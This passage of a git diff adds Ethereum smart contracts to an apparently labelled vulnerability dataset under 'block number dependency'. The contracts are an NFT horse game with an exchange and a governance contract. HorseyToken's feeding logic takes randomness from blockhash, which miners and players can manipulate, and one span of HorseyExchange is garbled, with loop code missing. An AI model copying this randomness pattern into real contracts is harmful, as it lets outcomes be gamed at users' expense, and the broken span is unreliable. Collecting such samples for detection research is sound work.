coinIndex) internal returns (uint256) { + uint256 id = _makeSpecialId(race, eth_address, coinIndex); + + bytes32 dna = _shiftRight(keccak256(abi.encodePacked(race, coinIndex)),16); + + stables.storeHorsey(eth_address,id,race,dna,1,0); + return id; + } + + + function _increaseRarity(uint256 tokenId, bytes32 blockHash) private { + uint8 tier; + bytes32 dna; + (,dna,,tier) = stables.horseys(tokenId); + if(tier < 254) + stables.modifyHorseyTier(tokenId,tier+1); + uint256 random = uint256(keccak256(abi.encodePacked(tokenId, blockHash))); + + bytes32 rarityMask = _shiftLeft(bytes32(1), (random % 16 + 240)); + bytes32 newdna = dna | rarityMask; + stables.modifyHorseyDna(tokenId,newdna); + } + + + function _shiftLeft(bytes32 data, uint n) internal pure returns (bytes32) { + return bytes32(uint256(data)*(2 ** n)); + } + + + function _shiftRight(bytes32 data, uint n) internal pure returns (bytes32) { + return bytes32(uint256(data)/(2 ** n)); + } + + + modifier carrotsMeetLevel(uint256 tokenId){ + uint256 feedingCounter; + (,,feedingCounter,) = stables.horseys(tokenId); + require(feedingCounter <= stables.carrot_credits(msg.sender),"Not enough carrots"); + _; + } + + + modifier costs(uint256 amount) { + require(msg.value >= amount,"Not enough funds"); + _; + } + + + modifier validAddress(address addr) { + require(addr != address(0),"Address is zero"); + _; + } + + + modifier noFeedingInProgress() { + + require(pendingFeedings[msg.sender].blockNumber == 0,"Already feeding"); + _; + } + + + modifier feedingInProgress() { + + require(pendingFeedings[msg.sender].blockNumber != 0,"No pending feeding"); + _; + } + + + modifier onlyOwnerOf(uint256 tokenId) { + require(stables.ownerOf(tokenId) == msg.sender, "Caller is not owner of this token"); + _; + } +} + + + + + +contract HorseyPilot { + + + event NewProposal(uint8 methodId, uint parameter, address proposer); + + + event ProposalPassed(uint8 methodId, uint parameter, address proposer); + + + + uint8 constant votingThreshold = 2; + + + + uint256 constant proposalLife = 7 days; + + + + uint256 constant proposalCooldown = 1 days; + + + uint256 cooldownStart; + + + address public jokerAddress; + address public knightAddress; + address public paladinAddress; + + + address[3] public voters; + + + uint8 constant public knightEquity = 40; + uint8 constant public paladinEquity = 10; + + + address public exchangeAddress; + address public tokenAddress; + + + mapping(address => uint) internal _cBalance; + + + struct Proposal{ + address proposer; + uint256 timestamp; + uint256 parameter; + uint8 methodId; + address[] yay; + address[] nay; + } + + + Proposal public currentProposal; + + + bool public proposalInProgress = false; + + + uint256 public toBeDistributed; + + + bool deployed = false; + + + constructor( + address _jokerAddress, + address _knightAddress, + address _paladinAddress, + address[3] _voters + ) public { + jokerAddress = _jokerAddress; + knightAddress = _knightAddress; + paladinAddress = _paladinAddress; + + for(uint i = 0; i < 3; i++) { + voters[i] = _voters[i]; + } + + + cooldownStart = block.timestamp - proposalCooldown; + } + + + function deployChildren(address stablesAddress) external { + require(!deployed,"already deployed"); + + exchangeAddress = new HorseyExchange(); + tokenAddress = new HorseyToken(stablesAddress); + + + HorseyExchange(exchangeAddress).setStables(stablesAddress); + + deployed = true; + } + + + function transferJokerOwnership(address newJoker) external + validAddress(newJoker) { + require(jokerAddress == msg.sender,"Not right role"); + _moveBalance(newJoker); + jokerAddress = newJoker; + } + + + function transferKnightOwnership(address newKnight) external + validAddress(newKnight) { + require(knightAddress == msg.sender,"Not right role"); + _moveBalance(newKnight); + knightAddress = newKnight; + } + + + function transferPaladinOwnership(address newPaladin) external + validAddress(newPaladin) { + require(paladinAddress == msg.sender,"Not right role"); + _moveBalance(newPaladin); + paladinAddress = newPaladin; + } + + + function withdrawCeo(address destination) external + onlyCLevelAccess() + validAddress(destination) { + + + if(toBeDistributed > 0){ + _updateDistribution(); + } + + + uint256 balance = _cBalance[msg.sender]; + + + if(balance > 0 && (address(this).balance >= balance)) { + destination.transfer(balance); + _cBalance[msg.sender] = 0; + } + } + + + function syncFunds() external { + uint256 prevBalance = address(this).balance; + HorseyToken(tokenAddress).withdraw(); + HorseyExchange(exchangeAddress).withdraw(); + uint256 newBalance = address(this).balance; + + toBeDistributed = toBeDistributed + (newBalance - prevBalance); + } + + + function getNobleBalance() external view + onlyCLevelAccess() returns (uint256) { + return _cBalance[msg.sender]; + } + + + function makeProposal( uint8 methodId, uint256 parameter ) external + onlyCLevelAccess() + proposalAvailable() + cooledDown() + { + currentProposal.timestamp = block.timestamp; + currentProposal.parameter = parameter; + currentProposal.methodId = methodId; + currentProposal.proposer = msg.sender; + delete currentProposal.yay; + delete currentProposal.nay; + proposalInProgress = true; + + emit NewProposal(methodId,parameter,msg.sender); + } + + + function voteOnProposal(bool voteFor) external + proposalPending() + onlyVoters() + notVoted() { + + require((block.timestamp - currentProposal.timestamp) <= proposalLife); + if(voteFor) + { + currentProposal.yay.push(msg.sender); + + if( currentProposal.yay.length >= votingThreshold ) + { + _doProposal(); + proposalInProgress = false; + + return; + } + + } else { + currentProposal.nay.push(msg.sender); + + if( currentProposal.nay.length >= votingThreshold ) + { + proposalInProgress = false; + cooldownStart = block.timestamp; + return; + } + } + } + + + function _moveBalance(address newAddress) internal + validAddress(newAddress) { + require(newAddress != msg.sender); + _cBalance[newAddress] = _cBalance[msg.sender]; + _cBalance[msg.sender] = 0; + } + + + function _updateDistribution() internal { + require(toBeDistributed != 0,"nothing to distribute"); + uint256 knightPayday = toBeDistributed / 100 * knightEquity; + uint256 paladinPayday = toBeDistributed / 100 * paladinEquity; + + + uint256 jokerPayday = toBeDistributed - knightPayday - paladinPayday; + + _cBalance[jokerAddress] = _cBalance[jokerAddress] + jokerPayday; + _cBalance[knightAddress] = _cBalance[knightAddress] + knightPayday; + _cBalance[paladinAddress] = _cBalance[paladinAddress] + paladinPayday; + + toBeDistributed = 0; + } + + + function _doProposal() internal { + + if( currentProposal.methodId == 0 ) HorseyToken(tokenAddress).setRenamingCosts(currentProposal.parameter); + + + if( currentProposal.methodId == 1 ) HorseyExchange(exchangeAddress).setMarketFees(currentProposal.parameter); + + + if( currentProposal.methodId == 2 ) HorseyToken(tokenAddress).addLegitRaceAddress(address(currentProposal.parameter)); + + + if( currentProposal.methodId == 3 ) HorseyToken(tokenAddress).addHorseIndex(bytes32(currentProposal.parameter)); + + + if( currentProposal.methodId == 4 ) { + if(currentProposal.parameter == 0) { + HorseyExchange(exchangeAddress).unpause(); + HorseyToken(tokenAddress).unpause(); + } else { + HorseyExchange(exchangeAddress).pause(); + HorseyToken(tokenAddress).pause(); + } + } + + + if( currentProposal.methodId == 5 ) HorseyToken(tokenAddress).setClaimingCosts(currentProposal.parameter); + + + if( currentProposal.methodId == 8 ){ + HorseyToken(tokenAddress).setCarrotsMultiplier(uint8(currentProposal.parameter)); + } + + + if( currentProposal.methodId == 9 ){ + HorseyToken(tokenAddress).setRarityMultiplier(uint8(currentProposal.parameter)); + } + + emit ProposalPassed(currentProposal.methodId,currentProposal.parameter,currentProposal.proposer); + } + + + modifier validAddress(address addr) { + require(addr != address(0),"Address is zero"); + _; + } + + + modifier onlyCLevelAccess() { + require((jokerAddress == msg.sender) || (knightAddress == msg.sender) || (paladinAddress == msg.sender),"not c level"); + _; + } + + + + modifier proposalAvailable(){ + require(((!proposalInProgress) || ((block.timestamp - currentProposal.timestamp) > proposalLife)),"proposal already pending"); + _; + } + + + + modifier cooledDown( ){ + if(msg.sender == currentProposal.proposer && (block.timestamp - cooldownStart < 1 days)){ + revert("Cool down period not passed yet"); + } + _; + } + + + modifier proposalPending() { + require(proposalInProgress,"no proposal pending"); + _; + } + + + modifier notVoted() { + uint256 length = currentProposal.yay.length; + for(uint i = 0; i < length; i++) { + if(currentProposal.yay[i] == msg.sender) { + revert("Already voted"); + } + } + + length = currentProposal.nay.length; + for(i = 0; i < length; i++) { + if(currentProposal.nay[i] == msg.sender) { + revert("Already voted"); + } + } + _; + } + + + modifier onlyVoters() { + bool found = false; + uint256 length = voters.length; + for(uint i = 0; i < length; i++) { + if(voters[i] == msg.sender) { + found = true; + break; + } + } + if(!found) { + revert("not a voter"); + } + _; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/137.sol b/smart_contract_dataset/block number dependency/137.sol new file mode 100644 index 0000000000000000000000000000000000000000..8f17b682a5b50f1f56473d2dbe78442d44854c82 --- /dev/null +++ b/smart_contract_dataset/block number dependency/137.sol @@ -0,0 +1,1130 @@ +pragma solidity ^0.4.24; + + + + +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + + constructor() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + + + + +contract Pausable is Ownable { + event Pause(); + event Unpause(); + + bool public paused = false; + + + + modifier whenNotPaused() { + require(!paused); + _; + } + + + modifier whenPaused() { + require(paused); + _; + } + + + function pause() public onlyOwner whenNotPaused { + paused = true; + emit Pause(); + } + + + function unpause() public onlyOwner whenPaused { + paused = false; + emit Unpause(); + } +} + + + + +contract ERC721Receiver { + + bytes4 internal constant ERC721_RECEIVED = 0x150b7a02; + + + function onERC721Received( + address _operator, + address _from, + uint256 _tokenId, + bytes _data + ) + public + returns(bytes4); +} + + + +contract ERC721Holder is ERC721Receiver { + function onERC721Received( + address, + address, + uint256, + bytes + ) + public + returns(bytes4) + { + return ERC721_RECEIVED; + } +} + + + + +contract ERC721Basic { + function balanceOf(address _owner) public view returns (uint256 _balance); + function ownerOf(uint256 _tokenId) public view returns (address _owner); + function exists(uint256 _tokenId) public view returns (bool _exists); + + function approve(address _to, uint256 _tokenId) public; + function getApproved(uint256 _tokenId) public view returns (address _operator); + + function transferFrom(address _from, address _to, uint256 _tokenId) public; +} + + +contract HorseyExchange is Pausable, ERC721Holder { + + event HorseyDeposit(uint256 tokenId, uint256 price); + event SaleCanceled(uint256 tokenId); + event HorseyPurchased(uint256 tokenId, address newOwner, uint256 totalToPay); + + + uint256 public marketMakerFee = 3; + + + uint256 collectedFees = 0; + + + ERC721Basic public token; + + + struct SaleData { + uint256 price; + address owner; + } + + + mapping (uint256 => SaleData) market; + + + mapping (address => uint256[]) userBarn; + + + constructor() Pausable() ERC721Holder() public { + } + + + function setStables(address _token) external + onlyOwner() + { + require(address(_token) != 0,"Address of token is zero"); + token = ERC721Basic(_token); + } + + + function setMarketFees(uint256 fees) external + onlyOwner() + { + marketMakerFee = fees; + } + + + function getTokensOnSale(address user) external view returns(uint256[]) { + return userBarn[user]; + } + + + function getTokenPrice(uint256 tokenId) public view + isOnMarket(tokenId) returns (uint256) { + return market[tokenId].price + (market[tokenId].price / 100 * marketMakerFee); + } + + + function depositToExchange(uint256 tokenId, uint256 price) external + whenNotPaused() + isTokenOwner(tokenId) + nonZeroPrice(price) + tokenAvailable() { + require(token.getApproved(tokenId) == address(this),"Exchange is not allowed to transfer"); + + token.transferFrom(msg.sender, address(this), tokenId); + + + market[tokenId] = SaleData(price,msg.sender); + + + userBarn[msg.sender].push(tokenId); + + emit HorseyDeposit(tokenId, price); + } + + + function cancelSale(uint256 tokenId) external + whenNotPaused() + originalOwnerOf(tokenId) + tokenAvailable() returns (bool) { + + token.transferFrom(address(this),msg.sender,tokenId); + + + delete market[tokenId]; + + + _removeTokenFromBarn(tokenId, msg.sender); + + emit SaleCanceled(tokenId); + + + + return userBarn[msg.sender].length > 0; + } + + + function purchaseToken(uint256 tokenId) external payable + whenNotPaused() + isOnMarket(tokenId) + tokenAvailable() + notOriginalOwnerOf(tokenId) + { + + uint256 totalToPay = getTokenPrice(tokenId); + require(msg.value >= totalToPay, "Not paying enough"); + + + SaleData memory sale = market[tokenId]; + + + collectedFees += totalToPay - sale.price; + + + sale.owner.transfer(sale.price); + + + _removeTokenFromBarn(tokenId, sale.owner); + + + delete market[tokenId]; + + + + token.transferFrom(address(this), msg.sender, tokenId); + + + if(msg.value > totalToPay) + { + msg.sender.transfer(msg.value - totalToPay); + } + + emit HorseyPurchased(tokenId, msg.sender, totalToPay); + } + + + function withdraw() external + onlyOwner() + { + assert(collectedFees <= address(this).balance); + owner.transfer(collectedFees); + collectedFees = 0; + } + + + function _removeTokenFromBarn(uint tokenId, address barnAddress) internal { + uint256[] storage barnArray = userBarn[barnAddress]; + require(barnArray.length > 0,"No tokens to remove"); + int index = _indexOf(tokenId, barnArray); + require(index >= 0, "Token not found in barn"); + + + for (uint256 i = uint256(index); i 0,"Price is zero"); + _; + } + + + modifier tokenAvailable(){ + require(address(token) != 0,"Token address not set"); + _; + } +} + + + + +contract EthorseRace { + + + struct chronus_info { + bool betting_open; + bool race_start; + bool race_end; + bool voided_bet; + uint32 starting_time; + uint32 betting_duration; + uint32 race_duration; + uint32 voided_timestamp; + } + + address public owner; + + + chronus_info public chronus; + + + mapping (bytes32 => bool) public winner_horse; + + + function getCoinIndex(bytes32 index, address candidate) external constant returns (uint, uint, uint, bool, uint); +} + + +contract EthorseHelpers { + + + bytes32[] public all_horses = [bytes32("BTC"),bytes32("ETH"),bytes32("LTC")]; + mapping(address => bool) public legitRaces; + bool onlyLegit = false; + + + function _addHorse(bytes32 newHorse) internal { + all_horses.push(newHorse); + } + + function _addLegitRace(address newRace) internal + { + legitRaces[newRace] = true; + if(!onlyLegit) + onlyLegit = true; + } + + function getall_horsesCount() public view returns(uint) { + return all_horses.length; + } + + + function _isWinnerOf(address raceAddress, address eth_address) internal view returns (bool,bytes32) + { + + EthorseRace race = EthorseRace(raceAddress); + + + if(onlyLegit) + require(legitRaces[raceAddress],"not legit race"); + + bool voided_bet; + bool race_end; + (,,race_end,voided_bet,,,,) = race.chronus(); + + + if(voided_bet || !race_end) + return (false,bytes32(0)); + + + bytes32 horse; + bool found = false; + uint256 arrayLength = all_horses.length; + + + for(uint256 i = 0; i < arrayLength; i++) + { + if(race.winner_horse(all_horses[i])) { + horse = all_horses[i]; + found = true; + break; + } + } + + if(!found) + return (false,bytes32(0)); + + + uint256 bet_amount = 0; + (,,,, bet_amount) = race.getCoinIndex(horse, eth_address); + + + return (bet_amount > 0, horse); + } +} + + + +contract RoyalStablesInterface { + + struct Horsey { + address race; + bytes32 dna; + uint8 feedingCounter; + uint8 tier; + } + + mapping(uint256 => Horsey) public horseys; + mapping(address => uint32) public carrot_credits; + mapping(uint256 => string) public names; + address public master; + + function getOwnedTokens(address eth_address) public view returns (uint256[]); + function storeName(uint256 tokenId, string newName) public; + function storeCarrotsCredit(address client, uint32 amount) public; + function storeHorsey(address client, uint256 tokenId, address race, bytes32 dna, uint8 feedingCounter, uint8 tier) public; + function modifyHorsey(uint256 tokenId, address race, bytes32 dna, uint8 feedingCounter, uint8 tier) public; + function modifyHorseyDna(uint256 tokenId, bytes32 dna) public; + function modifyHorseyFeedingCounter(uint256 tokenId, uint8 feedingCounter) public; + function modifyHorseyTier(uint256 tokenId, uint8 tier) public; + function unstoreHorsey(uint256 tokenId) public; + function ownerOf(uint256 tokenId) public returns (address); +} + + +contract HorseyToken is EthorseHelpers,Pausable { + + + event Claimed(address raceAddress, address eth_address, uint256 tokenId); + + + event Feeding(uint256 tokenId); + + + event ReceivedCarrot(uint256 tokenId, bytes32 newDna); + + + event FeedingFailed(uint256 tokenId); + + + event HorseyRenamed(uint256 tokenId, string newName); + + + event HorseyFreed(uint256 tokenId); + + + RoyalStablesInterface public stables; + + + uint8 public carrotsMultiplier = 1; + + + uint8 public rarityMultiplier = 1; + + + uint256 public claimingFee = 0.000 ether; + + + struct FeedingData { + uint256 blockNumber; + uint256 horsey; + } + + + mapping(address => FeedingData) public pendingFeedings; + + + uint256 public renamingCostsPerChar = 0.001 ether; + + + constructor(address stablesAddress) + EthorseHelpers() + Pausable() public { + stables = RoyalStablesInterface(stablesAddress); + } + + + function setRarityMultiplier(uint8 newRarityMultiplier) external + onlyOwner() { + rarityMultiplier = newRarityMultiplier; + } + + + function setCarrotsMultiplier(uint8 newCarrotsMultiplier) external + onlyOwner() { + carrotsMultiplier = newCarrotsMultiplier; + } + + + function setRenamingCosts(uint256 newRenamingCost) external + onlyOwner() { + renamingCostsPerChar = newRenamingCost; + } + + + function setClaimingCosts(uint256 newClaimingFee) external + onlyOwner() { + claimingFee = newClaimingFee; + } + + + function addLegitRaceAddress(address newAddress) external + onlyOwner() { + _addLegitRace(newAddress); + } + + + function withdraw() external + onlyOwner() { + owner.transfer(address(this).balance); + } + + + + function addHorseIndex(bytes32 newHorse) external + onlyOwner() { + _addHorse(newHorse); + } + + + function getOwnedTokens(address eth_address) public view returns (uint256[]) { + return stables.getOwnedTokens(eth_address); + } + + + function can_claim(address raceAddress, address eth_address) public view returns (bool) { + bool res; + (res,) = _isWinnerOf(raceAddress, eth_address); + return res; + } + + + function claim(address raceAddress) external payable + costs(claimingFee) + whenNotPaused() + { + + bytes32 winner; + bool res; + (res,winner) = _isWinnerOf(raceAddress, msg.sender); + require(winner != bytes32(0),"Winner is zero"); + require(res,"can_claim return false"); + + uint256 id = _generate_special_horsey(raceAddress, msg.sender, winner); + emit Claimed(raceAddress, msg.sender, id); + } + + + function renameHorsey(uint256 tokenId, string newName) external + whenNotPaused() + onlyOwnerOf(tokenId) + costs(renamingCostsPerChar * bytes(newName).length) + payable { + uint256 renamingFee = renamingCostsPerChar * bytes(newName).length; + + if(msg.value > renamingFee) + { + msg.sender.transfer(msg.value - renamingFee); + } + + stables.storeName(tokenId,newName); + emit HorseyRenamed(tokenId,newName); + } + + + function freeForCarrots(uint256 tokenId) external + whenNotPaused() + onlyOwnerOf(tokenId) { + require(pendingFeedings[msg.sender].horsey != tokenId,""); + + uint8 feedingCounter; + (,,feedingCounter,) = stables.horseys(tokenId); + stables.storeCarrotsCredit(msg.sender,stables.carrot_credits(msg.sender) + uint32(feedingCounter * carrotsMultiplier)); + stables.unstoreHorsey(tokenId); + emit HorseyFreed(tokenId); + } + + + function getCarrotCredits() external view returns (uint32) { + return stables.carrot_credits(msg.sender); + } + + + function getHorsey(uint256 tokenId) public view returns (address, bytes32, uint8, string) { + RoyalStablesInterface.Horsey memory temp; + (temp.race,temp.dna,temp.feedingCounter,temp.tier) = stables.horseys(tokenId); + return (temp.race,temp.dna,temp.feedingCounter,stables.names(tokenId)); + } + + + function feed(uint256 tokenId) external + whenNotPaused() + onlyOwnerOf(tokenId) + carrotsMeetLevel(tokenId) + noFeedingInProgress() + { + pendingFeedings[msg.sender] = FeedingData(block.number,tokenId); + uint8 feedingCounter; + (,,feedingCounter,) = stables.horseys(tokenId); + stables.storeCarrotsCredit(msg.sender,stables.carrot_credits(msg.sender) - uint32(feedingCounter)); + emit Feeding(tokenId); + } + + + function stopFeeding() external + feedingInProgress() returns (bool) { + uint256 blockNumber = pendingFeedings[msg.sender].blockNumber; + uint256 tokenId = pendingFeedings[msg.sender].horsey; + + require(block.number - blockNumber >= 1,"feeding and stop feeding are in same block"); + + delete pendingFeedings[msg.sender]; + + + + if(block.number - blockNumber > 255) { + + + emit FeedingFailed(tokenId); + return false; + } + + + if(stables.ownerOf(tokenId) != msg.sender) { + + + emit FeedingFailed(tokenId); + return false; + } + + + _feed(tokenId, blockhash(blockNumber)); + bytes32 dna; + (,dna,,) = stables.horseys(tokenId); + emit ReceivedCarrot(tokenId, dna); + return true; + } + + + function() external payable { + revert("Not accepting donations"); + } + + + function _feed(uint256 tokenId, bytes32 blockHash) internal { + + uint8 tier; + uint8 feedingCounter; + (,,feedingCounter,tier) = stables.horseys(tokenId); + uint256 probabilityByRarity = 10 ** uint256(tier + 1); + uint256 randNum = uint256(keccak256(abi.encodePacked(tokenId, blockHash))) % probabilityByRarity; + + + if(randNum <= (feedingCounter * rarityMultiplier)){ + _increaseRarity(tokenId, blockHash); + } + + + + if(feedingCounter < 255) { + stables.modifyHorseyFeedingCounter(tokenId,feedingCounter+1); + } + } + + + function _makeSpecialId(address race, address sender, bytes32 coinIndex) internal pure returns (uint256) { + return uint256(keccak256(abi.encodePacked(race, sender, coinIndex))); + } + + + function _generate_special_horsey(address race, address eth_address, bytes32 coinIndex) internal returns (uint256) { + uint256 id = _makeSpecialId(race, eth_address, coinIndex); + + bytes32 dna = _shiftRight(keccak256(abi.encodePacked(race, coinIndex)),16); + + stables.storeHorsey(eth_address,id,race,dna,1,0); + return id; + } + + + function _increaseRarity(uint256 tokenId, bytes32 blockHash) private { + uint8 tier; + bytes32 dna; + (,dna,,tier) = stables.horseys(tokenId); + if(tier < 254) + stables.modifyHorseyTier(tokenId,tier+1); + uint256 random = uint256(keccak256(abi.encodePacked(tokenId, blockHash))); + + bytes32 rarityMask = _shiftLeft(bytes32(1), (random % 16 + 240)); + bytes32 newdna = dna | rarityMask; + stables.modifyHorseyDna(tokenId,newdna); + } + + + function _shiftLeft(bytes32 data, uint n) internal pure returns (bytes32) { + return bytes32(uint256(data)*(2 ** n)); + } + + + function _shiftRight(bytes32 data, uint n) internal pure returns (bytes32) { + return bytes32(uint256(data)/(2 ** n)); + } + + + modifier carrotsMeetLevel(uint256 tokenId){ + uint256 feedingCounter; + (,,feedingCounter,) = stables.horseys(tokenId); + require(feedingCounter <= stables.carrot_credits(msg.sender),"Not enough carrots"); + _; + } + + + modifier costs(uint256 amount) { + require(msg.value >= amount,"Not enough funds"); + _; + } + + + modifier validAddress(address addr) { + require(addr != address(0),"Address is zero"); + _; + } + + + modifier noFeedingInProgress() { + + require(pendingFeedings[msg.sender].blockNumber == 0,"Already feeding"); + _; + } + + + modifier feedingInProgress() { + + require(pendingFeedings[msg.sender].blockNumber != 0,"No pending feeding"); + _; + } + + + modifier onlyOwnerOf(uint256 tokenId) { + require(stables.ownerOf(tokenId) == msg.sender, "Caller is not owner of this token"); + _; + } +} + + + + + +contract HorseyPilot { + + + event NewProposal(uint8 methodId, uint parameter, address proposer); + + + event ProposalPassed(uint8 methodId, uint parameter, address proposer); + + + + uint8 constant votingThreshold = 2; + + + + uint256 constant proposalLife = 7 days; + + + + uint256 constant proposalCooldown = 1 days; + + + uint256 cooldownStart; + + + address public jokerAddress; + address public knightAddress; + address public paladinAddress; + + + address[3] public voters; + + + uint8 constant public knightEquity = 40; + uint8 constant public paladinEquity = 10; + + + address public exchangeAddress; + address public tokenAddress; + + + mapping(address => uint) internal _cBalance; + + + struct Proposal{ + address proposer; + uint256 timestamp; + uint256 parameter; + uint8 methodId; + address[] yay; + address[] nay; + } + + + Proposal public currentProposal; + + + bool public proposalInProgress = false; + + + uint256 public toBeDistributed; + + + bool deployed = false; + + + constructor( + address _jokerAddress, + address _knightAddress, + address _paladinAddress, + address[3] _voters + ) public { + jokerAddress = _jokerAddress; + knightAddress = _knightAddress; + paladinAddress = _paladinAddress; + + for(uint i = 0; i < 3; i++) { + voters[i] = _voters[i]; + } + + + cooldownStart = block.timestamp - proposalCooldown; + } + + + function deployChildren(address stablesAddress) external { + require(!deployed,"already deployed"); + + exchangeAddress = new HorseyExchange(); + tokenAddress = new HorseyToken(stablesAddress); + + + HorseyExchange(exchangeAddress).setStables(stablesAddress); + + deployed = true; + } + + + function transferJokerOwnership(address newJoker) external + validAddress(newJoker) { + require(jokerAddress == msg.sender,"Not right role"); + _moveBalance(newJoker); + jokerAddress = newJoker; + } + + + function transferKnightOwnership(address newKnight) external + validAddress(newKnight) { + require(knightAddress == msg.sender,"Not right role"); + _moveBalance(newKnight); + knightAddress = newKnight; + } + + + function transferPaladinOwnership(address newPaladin) external + validAddress(newPaladin) { + require(paladinAddress == msg.sender,"Not right role"); + _moveBalance(newPaladin); + paladinAddress = newPaladin; + } + + + function withdrawCeo(address destination) external + onlyCLevelAccess() + validAddress(destination) { + + + if(toBeDistributed > 0){ + _updateDistribution(); + } + + + uint256 balance = _cBalance[msg.sender]; + + + if(balance > 0 && (address(this).balance >= balance)) { + destination.transfer(balance); + _cBalance[msg.sender] = 0; + } + } + + + function syncFunds() external { + uint256 prevBalance = address(this).balance; + HorseyToken(tokenAddress).withdraw(); + HorseyExchange(exchangeAddress).withdraw(); + uint256 newBalance = address(this).balance; + + toBeDistributed = toBeDistributed + (newBalance - prevBalance); + } + + + function getNobleBalance() external view + onlyCLevelAccess() returns (uint256) { + return _cBalance[msg.sender]; + } + + + function makeProposal( uint8 methodId, uint256 parameter ) external + onlyCLevelAccess() + proposalAvailable() + cooledDown() + { + currentProposal.timestamp = block.timestamp; + currentProposal.parameter = parameter; + currentProposal.methodId = methodId; + currentProposal.proposer = msg.sender; + delete currentProposal.yay; + delete currentProposal.nay; + proposalInProgress = true; + + emit NewProposal(methodId,parameter,msg.sender); + } + + + function voteOnProposal(bool voteFor) external + proposalPending() + onlyVoters() + notVoted() { + + require((block.timestamp - currentProposal.timestamp) <= proposalLife); + if(voteFor) + { + currentProposal.yay.push(msg.sender); + + if( currentProposal.yay.length >= votingThreshold ) + { + _doProposal(); + proposalInProgress = false; + + return; + } + + } else { + currentProposal.nay.push(msg.sender); + + if( currentProposal.nay.length >= votingThreshold ) + { + proposalInProgress = false; + cooldownStart = block.timestamp; + return; + } + } + } + + + function _moveBalance(address newAddress) internal + validAddress(newAddress) { + require(newAddress != msg.sender); + _cBalance[newAddress] = _cBalance[msg.sender]; + _cBalance[msg.sender] = 0; + } + + + function _updateDistribution() internal { + require(toBeDistributed != 0,"nothing to distribute"); + uint256 knightPayday = toBeDistributed / 100 * knightEquity; + uint256 paladinPayday = toBeDistributed / 100 * paladinEquity; + + + uint256 jokerPayday = toBeDistributed - knightPayday - paladinPayday; + + _cBalance[jokerAddress] = _cBalance[jokerAddress] + jokerPayday; + _cBalance[knightAddress] = _cBalance[knightAddress] + knightPayday; + _cBalance[paladinAddress] = _cBalance[paladinAddress] + paladinPayday; + + toBeDistributed = 0; + } + + + function _doProposal() internal { + + if( currentProposal.methodId == 0 ) HorseyToken(tokenAddress).setRenamingCosts(currentProposal.parameter); + + + if( currentProposal.methodId == 1 ) HorseyExchange(exchangeAddress).setMarketFees(currentProposal.parameter); + + + if( currentProposal.methodId == 2 ) HorseyToken(tokenAddress).addLegitRaceAddress(address(currentProposal.parameter)); + + + if( currentProposal.methodId == 3 ) HorseyToken(tokenAddress).addHorseIndex(bytes32(currentProposal.parameter)); + + + if( currentProposal.methodId == 4 ) { + if(currentProposal.parameter == 0) { + HorseyExchange(exchangeAddress).unpause(); + HorseyToken(tokenAddress).unpause(); + } else { + HorseyExchange(exchangeAddress).pause(); + HorseyToken(tokenAddress).pause(); + } + } + + + if( currentProposal.methodId == 5 ) HorseyToken(tokenAddress).setClaimingCosts(currentProposal.parameter); + + + if( currentProposal.methodId == 8 ){ + HorseyToken(tokenAddress).setCarrotsMultiplier(uint8(currentProposal.parameter)); + } + + + if( currentProposal.methodId == 9 ){ + HorseyToken(tokenAddress).setRarityMultiplier(uint8(currentProposal.parameter)); + } + + emit ProposalPassed(currentProposal.methodId,currentProposal.parameter,currentProposal.proposer); + } + + + modifier validAddress(address addr) { + require(addr != address(0),"Address is zero"); + _; + } + + + modifier onlyCLevelAccess() { + require((jokerAddress == msg.sender) || (knightAddress == msg.sender) || (paladinAddress == msg.sender),"not c level"); + _; + } + + + + modifier proposalAvailable(){ + require(((!proposalInProgress) || ((block.timestamp - currentProposal.timestamp) > proposalLife)),"proposal already pending"); + _; + } + + + + modifier cooledDown( ){ + if(msg.sender == currentProposal.proposer && (block.timestamp - cooldownStart < 1 days)){ + revert("Cool down period not passed yet"); + } + _; + } + + + modifier proposalPending() { + require(proposalInProgress,"no proposal pending"); + _; + } + + + modifier notVoted() { + uint256 length = currentProposal.yay.length; + for(uint i = 0; i < length; i++) { + if(currentProposal.yay[i] == msg.sender) { + revert("Already voted"); + } + } + + length = currentProposal.nay.length; + for(i = 0; i < length; i++) { + if(currentProposal.nay[i] == msg.sender) { + revert("Already voted"); + } + } + _; + } + + + modifier onlyVoters() { + bool found = false; + uint256 length = voters.length; + for(uint i = 0; i < length; i++) { + if(voters[i] == msg.sender) { + found = true; + break; + } + } + if(!found) { + revert("not a voter"); + } + _; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/138.sol b/smart_contract_dataset/block number dependency/138.sol new file mode 100644 index 0000000000000000000000000000000000000000..1bb6b7ed9fa14c86b60fc1c368089fe1cb1c60a6 --- /dev/null +++ b/smart_contract_dataset/block number dependency/138.sol @@ -0,0 +1,222 @@ +pragma solidity ^0.4.24; + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + + + + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + + + return a / b; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + + constructor() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +contract Claimable is Ownable { + address public pendingOwner; + + + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + + function claimOwnership() onlyPendingOwner public { + emit 